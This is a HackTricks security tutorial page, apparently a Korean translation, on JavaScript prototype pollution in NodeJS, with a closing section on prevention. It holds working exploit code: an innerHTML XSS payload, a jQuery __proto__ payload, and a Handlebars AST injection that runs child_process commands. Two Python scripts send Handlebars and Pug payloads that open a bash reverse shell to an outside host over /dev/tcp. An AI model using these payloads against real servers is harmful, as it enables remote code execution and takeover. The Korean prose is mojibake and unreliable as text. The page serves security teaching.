NodeJS - __proto__ & prototype Pollution
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
JavaScript์ ๊ฐ์ฒด
JavaScript์ ๊ฐ์ฒด๋ ๋ณธ์ง์ ์ผ๋ก ํค-๊ฐ ์์ ๋ชจ์์ผ๋ก, ์์ฑ์ด๋ผ๊ณ ํฉ๋๋ค. ๊ฐ์ฒด๋ Object.create๋ฅผ ์ฌ์ฉํ์ฌ null์ ์ธ์๋ก ์ ๋ฌํ์ฌ ๋น ๊ฐ์ฒด๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์์๋ ์์ฑ ์์ด ๊ฐ์ฒด๋ฅผ ์์ฑํ ์ ์๊ฒ ํด์ค๋๋ค.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
๋น ๊ฐ์ฒด๋ ๋น ์ฌ์ ๊ณผ ์ ์ฌํ๋ฉฐ, {}๋ก ํํ๋ฉ๋๋ค.
JavaScript์ ํจ์์ ํด๋์ค
JavaScript์์ ํด๋์ค์ ํจ์๋ ๋ฐ์ ํ๊ฒ ์ฐ๊ฒฐ๋์ด ์์ผ๋ฉฐ, ํจ์๋ ์ข ์ข ํด๋์ค์ ์์ฑ์๋ก ์ฌ์ฉ๋ฉ๋๋ค. JavaScript๋ ๊ธฐ๋ณธ์ ์ธ ํด๋์ค ์ง์์ด ์์ง๋ง, ์์ฑ์๋ ํด๋์ค ๋์์ ๋ชจ๋ฐฉํ ์ ์์ต๋๋ค.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototypes in JavaScript
JavaScript๋ ๋ฐํ์์ ํ๋กํ ํ์ ์์ฑ์ ์์ , ์ถ๊ฐ ๋๋ ์ญ์ ํ ์ ์์ต๋๋ค. ์ด ์ ์ฐ์ฑ์ ํด๋์ค ๊ธฐ๋ฅ์ ๋์ ํ์ฅ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
toString ๋ฐ valueOf์ ๊ฐ์ ํจ์๋ ๊ทธ ๋์์ ๋ณ๊ฒฝํ๊ธฐ ์ํด ์์ ๋ ์ ์์ผ๋ฉฐ, ์ด๋ JavaScript์ ํ๋กํ ํ์
์์คํ
์ ์ ์ ๊ฐ๋ฅํ ํน์ฑ์ ๋ณด์ฌ์ค๋๋ค.
Inheritance
ํ๋กํ ํ์ ๊ธฐ๋ฐ ํ๋ก๊ทธ๋๋ฐ์์ ์์ฑ/๋ฉ์๋๋ ํด๋์ค์์ ๊ฐ์ฒด๋ก ์์๋ฉ๋๋ค. ์ด๋ฌํ ํด๋์ค๋ ๋ค๋ฅธ ํด๋์ค์ ์ธ์คํด์ค๋ ๋น ๊ฐ์ฒด์ ์์ฑ/๋ฉ์๋๋ฅผ ์ถ๊ฐํ์ฌ ์์ฑ๋ฉ๋๋ค.
๋ค๋ฅธ ๊ฐ์ฒด์ ํ๋กํ ํ์
์ญํ ์ ํ๋ ๊ฐ์ฒด(์: myPersonObj)์ ์์ฑ์ด ์ถ๊ฐ๋๋ฉด, ์์๋ฐ๋ ๊ฐ์ฒด๋ ์ด ์๋ก์ด ์์ฑ์ ์ ๊ทผํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด ์์ฑ์ ๋ช
์์ ์ผ๋ก ํธ์ถ๋์ง ์๋ ํ ์๋์ผ๋ก ํ์๋์ง ์์ต๋๋ค.
__proto__ pollution
Exploring Prototype Pollution in JavaScript
JavaScript ๊ฐ์ฒด๋ ํค-๊ฐ ์์ผ๋ก ์ ์๋๋ฉฐ JavaScript Object ํ๋กํ ํ์ ์์ ์์๋ฉ๋๋ค. ์ด๋ Object ํ๋กํ ํ์ ์ ๋ณ๊ฒฝํ๋ฉด ํ๊ฒฝ์ ๋ชจ๋ ๊ฐ์ฒด์ ์ํฅ์ ๋ฏธ์น ์ ์์์ ์๋ฏธํฉ๋๋ค.
๋ค๋ฅธ ์์ ๋ฅผ ์ฌ์ฉํ์ฌ ์ค๋ช ํด ๋ณด๊ฒ ์ต๋๋ค:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Object ํ๋กํ ํ์ ์ ๋ํ ์ ๊ทผ์ ๋ค์์ ํตํด ๊ฐ๋ฅํฉ๋๋ค:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Object ํ๋กํ ํ์ ์ ์์ฑ์ ์ถ๊ฐํจ์ผ๋ก์จ, ๋ชจ๋ JavaScript ๊ฐ์ฒด๋ ์ด๋ฌํ ์๋ก์ด ์์ฑ์ ์์๋ฐ๊ฒ ๋ฉ๋๋ค:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
__proto__ ์ฌ์ฉ์ด ์ ํ๋ ์๋๋ฆฌ์ค์์๋ ํจ์์ ํ๋กํ ํ์
์ ์์ ํ๋ ๊ฒ์ด ๋์์
๋๋ค:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
์ด๊ฒ์ Vehicle ์์ฑ์์์ ์์ฑ๋ ๊ฐ์ฒด์๋ง ์ํฅ์ ๋ฏธ์น๋ฉฐ, ์ด๋ค์๊ฒ beep, hasWheels, honk, ๋ฐ isElectric ์์ฑ์ ๋ถ์ฌํฉ๋๋ค.
ํ๋กํ ํ์ ์ค์ผ์ ํตํด JavaScript ๊ฐ์ฒด์ ์ ์ญ์ ์ผ๋ก ์ํฅ์ ๋ฏธ์น๋ ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
Object.prototype๋ฅผ ์ง์ ์ค์ผ์ํค๊ธฐ:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๊ตฌ์กฐ์ฒด์ ์์ฑ์ ํ๋กํ ํ์ ์ค์ผ:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
์ด ์์
ํ, ๋ชจ๋ JavaScript ๊ฐ์ฒด๋ goodbye ๋ฐ greet ๋ฉ์๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
๋ค๋ฅธ ๊ฐ์ฒด ์ค์ผ์ํค๊ธฐ
ํด๋์ค์์ Object.prototype์ผ๋ก
ํน์ ๊ฐ์ฒด๋ฅผ ์ค์ผ์ํฌ ์ ์๋ ์๋๋ฆฌ์ค์์ Object.prototype์ ์ ๊ทผํด์ผ ํ๋ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ก ๊ฒ์ํ ์ ์์ต๋๋ค:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Array elements pollution
JS์์ ๊ฐ์ฒด์ ์์ฑ์ ์ค์ผ์ํฌ ์ ์๋ ๊ฒ์ฒ๋ผ, ๋ฐฐ์ด์ ์ ๊ทผํ์ฌ ์ค์ผ์ํฌ ์ ์๋ค๋ฉด ์ธ๋ฑ์ค๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ๋ฐฐ์ด์ ๊ฐ๋ ์ค์ผ์ํฌ ์ ์์ต๋๋ค (๊ฐ์ ๋ฎ์ด์ธ ์๋ ์์ผ๋ฏ๋ก, ์ด๋ค ์์ผ๋ก๋ ์ฌ์ฉ๋์ง๋ง ์ฐ์ด์ง ์๋ ์ธ๋ฑ์ค๋ฅผ ์ค์ผ์์ผ์ผ ํฉ๋๋ค).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html elements pollution
JS๋ฅผ ํตํด HTML ์์๋ฅผ ์์ฑํ ๋ innerHTML ์์ฑ์ ๋ฎ์ด์ฐ๋ ๊ฒ์ด ๊ฐ๋ฅํ์ฌ ์์์ HTML ์ฝ๋๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. Idea and example from this writeup.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
์์
๊ธฐ๋ณธ ์์
ํ๋กํ ํ์
์ค์ผ์ Object.prototype์ ์์ฑ์ ๋ฎ์ด์ธ ์ ์๋ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ฒฐํจ์ผ๋ก ์ธํด ๋ฐ์ํฉ๋๋ค. ์ด๋ ๋๋ถ๋ถ์ ๊ฐ์ฒด๊ฐ Object.prototype์์ ์์ฑ์ ํ์๋ฐ๊ธฐ ๋๋ฌธ์ ์๋ฏธํฉ๋๋ค.
๊ฐ์ฅ ์ฌ์ด ์๋ ํ์ธ๋ ๊ฐ์ฒด์ ์ ์๋์ง ์์ ์์ฑ์ ๊ฐ์ ์ถ๊ฐํ๋ ๊ฒ์ ๋๋ค.
if (user.admin) {
์์ฑ์ด admin์ด ์ ์๋์ง ์์ ๊ฒฝ์ฐ PP๋ฅผ ์
์ฉํ์ฌ ๋ค์๊ณผ ๊ฐ์ด True๋ก ์ค์ ํ ์ ์์ต๋๋ค:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
์ด ๋ฉ์ปค๋์ฆ์ ๊ณต๊ฒฉ์๊ฐ ํน์ ์
๋ ฅ์ ๋ํ ์ ์ด๋ฅผ ๊ฐ์ง๊ณ ์์ ๊ฒฝ์ฐ, ์ ํ๋ฆฌ์ผ์ด์
์ ๋ชจ๋ ๊ฐ์ฒด์ ํ๋กํ ํ์
์ ์์ ํ ์ ์๋๋ก ์์ฑ์ ์กฐ์ํ๋ ๊ฒ๊ณผ ๊ด๋ จ์ด ์์ต๋๋ค. ์ด ์กฐ์์ ์ผ๋ฐ์ ์ผ๋ก __proto__ ์์ฑ์ ์ค์ ํ๋ ๊ฒ์ ํฌํจํ๋ฉฐ, JavaScript์์๋ ๊ฐ์ฒด์ ํ๋กํ ํ์
์ ์ง์ ์์ ํ๋ ๊ฒ๊ณผ ๋์์ด์
๋๋ค.
์ด ๊ณต๊ฒฉ์ด ์ฑ๊ณต์ ์ผ๋ก ์คํ๋ ์ ์๋ ์กฐ๊ฑด์ ํน์ ์ฐ๊ตฌ์์ ์ค๋ช ๋ ๋ฐ์ ๊ฐ์ด ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ฌ๊ท์ ๋ณํฉ ์ํ.
- ๊ฒฝ๋ก์ ๋ฐ๋ผ ์์ฑ ์ ์.
- ๊ฐ์ฒด ๋ณต์ .
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
ํ๋กํ ํด๋ฃจ์ ์ ํตํ RCE
๊ธฐํ ํ์ด๋ก๋:
ํด๋ผ์ด์ธํธ ์ธก ํ๋กํ ํ์ ํด๋ฃจ์ ์ ํตํ XSS
Client Side Prototype Pollution
CVE-2019โ11358: jQuery $ .extend๋ฅผ ํตํ ํ๋กํ ํ์ ํด๋ฃจ์ ๊ณต๊ฒฉ
์์ธํ ๋ด์ฉ์ ์ด ๊ธฐ์ฌ๋ฅผ ํ์ธํ์ธ์ jQuery์์ $ .extend ํจ์๋ ๊น์ ๋ณต์ฌ ๊ธฐ๋ฅ์ด ์๋ชป ์ฌ์ฉ๋ ๊ฒฝ์ฐ ํ๋กํ ํ์
ํด๋ฃจ์
์ ์ด๋ํ ์ ์์ต๋๋ค. ์ด ํจ์๋ ์ผ๋ฐ์ ์ผ๋ก ๊ฐ์ฒด๋ฅผ ๋ณต์ ํ๊ฑฐ๋ ๊ธฐ๋ณธ ๊ฐ์ฒด์ ์์ฑ์ ๋ณํฉํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ ์๋ชป ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ, ์๋ก์ด ๊ฐ์ฒด๋ฅผ ์ํ ์์ฑ์ด ๋์ ํ๋กํ ํ์
์ ํ ๋น๋ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
์ด ์ทจ์ฝ์ ์ CVE-2019โ11358๋ก ์๋ณ๋๋ฉฐ, ๊น์ ๋ณต์ฌ๊ฐ ์ด๋ป๊ฒ ์ฐ์ฐํ ํ๋กํ ํ์
์ ์์ ํ ์ ์๋์ง๋ฅผ ๋ณด์ฌ์ค๋๋ค. ์ด๋ isAdmin๊ณผ ๊ฐ์ ์์ฑ์ด ์ ์ ํ ์กด์ฌ ํ์ธ ์์ด ํ์ธ๋ ๊ฒฝ์ฐ ๋ฌด๋จ ๊ด๋ฆฌ์ ์ ๊ทผ๊ณผ ๊ฐ์ ์ ์ฌ์ ์ธ ๋ณด์ ์ํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
CVE-2018โ3721, CVE-2019โ10744: lodash๋ฅผ ํตํ ํ๋กํ ํ์ ์ค์ผ ๊ณต๊ฒฉ
์์ธํ ๋ด์ฉ์ ์ด ๊ธฐ์ฌ๋ฅผ ํ์ธํ์ธ์
Lodash๋ ์ ์ฌํ ํ๋กํ ํ์ ์ค์ผ ์ทจ์ฝ์ (CVE-2018โ3721, CVE-2019โ10744)์ ์ง๋ฉดํ์ต๋๋ค. ์ด๋ฌํ ๋ฌธ์ ๋ ๋ฒ์ 4.17.11์์ ํด๊ฒฐ๋์์ต๋๋ค.
CVE๊ฐ ํฌํจ๋ ๋ ๋ค๋ฅธ ํํ ๋ฆฌ์ผ
ํ๋กํ ํ์ ์ค์ผ์ ํ์งํ๋ ๋๊ตฌ
- Server-Side-Prototype-Pollution-Gadgets-Scanner: ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์๋ฒ ์ธก ํ๋กํ ํ์ ์ค์ผ ์ทจ์ฝ์ ์ ํ์งํ๊ณ ๋ถ์ํ๊ธฐ ์ํด ์ค๊ณ๋ Burp Suite ํ์ฅ์ ๋๋ค. ์ด ๋๊ตฌ๋ ์์ฒญ์ ์ค์บํ์ฌ ์ ์ฌ์ ์ธ ํ๋กํ ํ์ ์ค์ผ ๋ฌธ์ ๋ฅผ ์๋ณํ๋ ๊ณผ์ ์ ์๋ํํฉ๋๋ค. ์ด๋ ์๋ ค์ง ๊ฐ์ ฏ - ํ๋กํ ํ์ ์ค์ผ์ ํ์ฉํ์ฌ ํด๋ก์ด ์์ ์ ์คํํ๋ ๋ฐฉ๋ฒ - ์ ์ ์ฉํ๋ฉฐ, ํนํ Node.js ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ค์ ์ ๋ก๋๋ค.
- server-side-prototype-pollution: ์ด ํ์ฅ์ ์๋ฒ ์ธก ํ๋กํ ํ์ ์ค์ผ ์ทจ์ฝ์ ์ ์๋ณํฉ๋๋ค. ์ด๋ ์๋ฒ ์ธก ํ๋กํ ํ์ ์ค์ผ์์ ์ค๋ช ๋ ๊ธฐ์ ์ ์ฌ์ฉํฉ๋๋ค.
NodeJS์ AST ํ๋กํ ํ์ ์ค์ผ
NodeJS๋ ํ ํ๋ฆฟ ์์ง ๋ฐ TypeScript์ ๊ฐ์ ๊ธฐ๋ฅ์ ์ํด JavaScript์์ ์ถ์ ๊ตฌ๋ฌธ ํธ๋ฆฌ(AST)๋ฅผ ๊ด๋ฒ์ํ๊ฒ ํ์ฉํฉ๋๋ค. ์ด ์น์ ์์๋ ํ ํ๋ฆฟ ์์ง, ํนํ Handlebars์ Pug์์์ ํ๋กํ ํ์ ์ค์ผ๊ณผ ๊ด๋ จ๋ ์ทจ์ฝ์ ์ ํ๊ตฌํฉ๋๋ค.
Handlebars ์ทจ์ฝ์ ๋ถ์
Handlebars ํ
ํ๋ฆฟ ์์ง์ ํ๋กํ ํ์
์ค์ผ ๊ณต๊ฒฉ์ ์ทจ์ฝํฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ javascript-compiler.js ํ์ผ ๋ด์ ํน์ ํจ์์์ ๋ฐ์ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, appendContent ํจ์๋ pendingContent๊ฐ ์กด์ฌํ ๊ฒฝ์ฐ ์ด๋ฅผ ์ฐ๊ฒฐํ๋ฉฐ, pushSource ํจ์๋ ์์ค๋ฅผ ์ถ๊ฐํ ํ pendingContent๋ฅผ undefined๋ก ์ฌ์ค์ ํฉ๋๋ค.
์ ์ฉ ๊ณผ์
์ ์ฉ์ Handlebars์ ์ํด ์์ฑ๋ AST(์ถ์ ๊ตฌ๋ฌธ ํธ๋ฆฌ)๋ฅผ ํ์ฉํ๋ฉฐ, ๋ค์ ๋จ๊ณ๋ฅผ ๋ฐ๋ฆ ๋๋ค:
- ํ์ ์กฐ์: ์ฒ์์,
NumberLiteral๋ ธ๋๋ฅผ ํตํด ํ์๋ ๊ฐ์ด ์ซ์์ฌ์ผ ํ๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ํ๋กํ ํ์ ์ค์ผ์ ์ด๋ฅผ ์ฐํํ ์ ์์ด ๋น์ซ์ ๋ฌธ์์ด์ ์ฝ์ ํ ์ ์๊ฒ ํฉ๋๋ค. - ์ปดํ์ผ๋ฌ์ ์ํ ์ฒ๋ฆฌ: ์ปดํ์ผ๋ฌ๋ AST ๊ฐ์ฒด ๋๋ ๋ฌธ์์ด ํ
ํ๋ฆฟ์ ์ฒ๋ฆฌํ ์ ์์ต๋๋ค. ๋ง์ฝ
input.type์ดProgram๊ณผ ๊ฐ๋ค๋ฉด, ์ ๋ ฅ์ ๋ฏธ๋ฆฌ ํ์ฑ๋ ๊ฒ์ผ๋ก ๊ฐ์ฃผ๋๋ฉฐ, ์ด๋ ์ ์ฉ๋ ์ ์์ต๋๋ค. - ์ฝ๋ ์ฃผ์
:
Object.prototype์ ์กฐ์์ ํตํด ํ ํ๋ฆฟ ํจ์์ ์์์ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์์ผ๋ฉฐ, ์ด๋ ์๊ฒฉ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
Handlebars ์ทจ์ฝ์ ์ ์ ์ฉ์ ๋ณด์ฌ์ฃผ๋ ์:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
์ด ์ฝ๋๋ ๊ณต๊ฒฉ์๊ฐ Handlebars ํ ํ๋ฆฟ์ ์์์ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
์ธ๋ถ ์ฐธ์กฐ: ํ๋กํ ํ์ ์ค์ผ๊ณผ ๊ด๋ จ๋ ๋ฌธ์ ๊ฐ โflatโ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ฐ๊ฒฌ๋์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์: Issue on GitHub.
์ธ๋ถ ์ฐธ์กฐ: Issue related to prototype pollution in the โflatโ library
Python์์ ํ๋กํ ํ์ ์ค์ผ ์ ์ฉ์ ์:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug ์ทจ์ฝ์
Pug๋ ๋ ๋ค๋ฅธ ํ ํ๋ฆฟ ์์ง์ผ๋ก, ํ๋กํ ํ์ ์ค์ผ์ ์ ์ฌํ ์ํ์ ์ง๋ฉดํด ์์ต๋๋ค. ์์ธํ ์ ๋ณด๋ Pug์ AST Injection ๋ ผ์์์ ํ์ธํ ์ ์์ต๋๋ค.
Pug์์์ ํ๋กํ ํ์ ์ค์ผ ์:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
์๋ฐฉ ์กฐ์น
ํ๋กํ ํ์ ์ค์ผ์ ์ํ์ ์ค์ด๊ธฐ ์ํด ์๋์ ๋์ด๋ ์ ๋ต์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
- ๊ฐ์ฒด ๋ถ๋ณ์ฑ:
Object.prototype์Object.freeze๋ฅผ ์ ์ฉํ์ฌ ๋ถ๋ณ์ผ๋ก ๋ง๋ค ์ ์์ต๋๋ค. - ์ ๋ ฅ ๊ฒ์ฆ: JSON ์ ๋ ฅ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํค๋ง์ ๋ํด ์ฒ ์ ํ ๊ฒ์ฆํด์ผ ํฉ๋๋ค.
- ์์ ํ ๋ณํฉ ํจ์: ์ฌ๊ท ๋ณํฉ ํจ์์ ์์ ํ์ง ์์ ์ฌ์ฉ์ ํผํด์ผ ํฉ๋๋ค.
- ํ๋กํ ํ์
์๋ ๊ฐ์ฒด: ํ๋กํ ํ์
์์ฑ์ด ์๋ ๊ฐ์ฒด๋
Object.create(null)์ ์ฌ์ฉํ์ฌ ์์ฑํ ์ ์์ต๋๋ค. - Map ์ฌ์ฉ: ํค-๊ฐ ์์ ์ ์ฅํ ๋
Object๋์Map์ ์ฌ์ฉํด์ผ ํฉ๋๋ค. - ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ ๋ฐ์ดํธ: ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ๊ธฐ์ ์ผ๋ก ์ ๋ฐ์ดํธํ์ฌ ๋ณด์ ํจ์น๋ฅผ ํตํฉํ ์ ์์ต๋๋ค.
- ๋ฆฐํฐ ๋ฐ ์ ์ ๋ถ์ ๋๊ตฌ: ํ๋กํ ํ์ ์ค์ผ ์ทจ์ฝ์ ์ ๊ฐ์งํ๊ณ ๋ฐฉ์งํ๊ธฐ ์ํด ์ ์ ํ ํ๋ฌ๊ทธ์ธ์ด ํฌํจ๋ ESLint์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ธ์.
- ์ฝ๋ ๋ฆฌ๋ทฐ: ํ๋กํ ํ์ ์ค์ผ๊ณผ ๊ด๋ จ๋ ์ ์ฌ์ ์ํ์ ์๋ณํ๊ณ ์์ ํ๊ธฐ ์ํด ์ฒ ์ ํ ์ฝ๋ ๋ฆฌ๋ทฐ๋ฅผ ๊ตฌํํ์ธ์.
- ๋ณด์ ๊ต์ก: ๊ฐ๋ฐ์์๊ฒ ํ๋กํ ํ์ ์ค์ผ์ ์ํ๊ณผ ์์ ํ ์ฝ๋๋ฅผ ์์ฑํ๊ธฐ ์ํ ๋ชจ๋ฒ ์ฌ๋ก์ ๋ํด ๊ต์กํ์ธ์.
- ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ ์ ์ฃผ์: ์๋ํํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ ๋ ์ฃผ์ํ์ธ์. ๊ทธ๋ค์ ๋ณด์ ์ํ๋ฅผ ํ๊ฐํ๊ณ , ํนํ ๊ฐ์ฒด๋ฅผ ์กฐ์ํ๋ ์ฝ๋์ ๋ํด ๊ฒํ ํ์ธ์.
- ๋ฐํ์ ๋ณดํธ: ํ๋กํ ํ์ ์ค์ผ ๊ณต๊ฒฉ์ ๊ฐ์งํ๊ณ ๋ฐฉ์งํ ์ ์๋ ๋ณด์ ์ค์ฌ์ npm ํจํค์ง๋ฅผ ์ฌ์ฉํ๋ ๋ฑ์ ๋ฐํ์ ๋ณดํธ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉํ์ธ์.
์ฐธ๊ณ ๋ฌธํ
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


